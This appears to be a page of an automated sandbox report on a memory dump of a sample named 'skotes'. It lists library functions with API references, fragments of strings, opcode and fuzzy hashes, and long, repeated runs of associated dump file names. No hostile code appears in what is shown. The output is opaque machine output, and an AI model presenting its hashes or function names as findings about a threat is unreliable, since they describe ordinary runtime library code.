Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 3caf8d16535fe20072253d8537ee5c8655ef7e71df7cafd228c6636a1093d6fc
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: A501D632620515A7CF2AFE548C41FEF77A99F44350F104A5DFC16AB292DA71EE209BE0

Function 002B9510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 002B9519

Part of subcall function 002AF4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 002B5486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 002B953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 002B9550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 002B9559

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: f86b9b3fe96b7fbcbda11af095a9d795f516f142b2997f34cbd405433e584ee9
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: FEF0A730260B105FE672AB548851FAA23D89F45791F00C41DE65B97242CE24E892CF90

Function 002A7A00 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMONLIBRARYCODE

Download Yara Rule

APIs

__Cnd_destroy_in_situ.LIBCPMT ref: 002A7AF8
__Mtx_destroy_in_situ.LIBCPMT ref: 002A7B01

Strings

d+/, xrefs: 002A7A94, 002A7AA2, 002A7A9A

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situMtx_destroy_in_situ
String ID: d+/
API String ID: 1432671424-1832811230
Opcode ID: a9b43b9d362f86f9425f4e8bd338cb89a799d4ccdf919ac65fa3e318b8ab9320
Instruction ID: 466cd23b932dac1476ed34465d365eee3070d9cc8bc3aeaec2b299c75ace9dab
Opcode Fuzzy Hash: a9b43b9d362f86f9425f4e8bd338cb89a799d4ccdf919ac65fa3e318b8ab9320
Instruction Fuzzy Hash: 9131E7B1924305ABD720DF64D841B5AB7E8EF16310F104A2EE946C3642EF71EA648BE5

Function 002CF35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 002CF3A3

Strings

8"/, xrefs: 002CF44B
`'/, xrefs: 002CF375

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"/$`'/
API String ID: 3903695350-428233942
Opcode ID: f188ed7bb850bcef616d1abea53037ea88bb30503cbca853755cd23d012b8637
Instruction ID: 2e44b7d8f9b859899176b3460b5254ac22b212b428b1078bd8b3cbe16554520a
Opcode Fuzzy Hash: f188ed7bb850bcef616d1abea53037ea88bb30503cbca853755cd23d012b8637
Instruction Fuzzy Hash: 7D318931620646EFEB74AE39D945F5B73EAEF00356F10462DE04AD7591DE31ACA08A11

Function 002CF1BF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 002CF232
__freea.LIBCMT ref: 002CF298

Strings

Z,,m,, xrefs: 002CF1D2

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID: Z,,m,
API String ID: 1635606685-1860132247
Opcode ID: 12687a20a18e7882554044e42ca637345dc4dcbd0b3805ef3d58eb7a7e329bca
Instruction ID: ed79bd29dda37f061b76682a6cd956ef7faa412b04ea4cf70579f1a7b5fdec9d
Opcode Fuzzy Hash: 12687a20a18e7882554044e42ca637345dc4dcbd0b3805ef3d58eb7a7e329bca
Instruction Fuzzy Hash: BE31CF7192021AABDB219F64CD41FAF7BBAEF85310F05422CFC14AB251DB348D61CBA1

Function 002C1704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 002C1764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 002C17AF

Strings

pContext, xrefs: 002C17A7

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
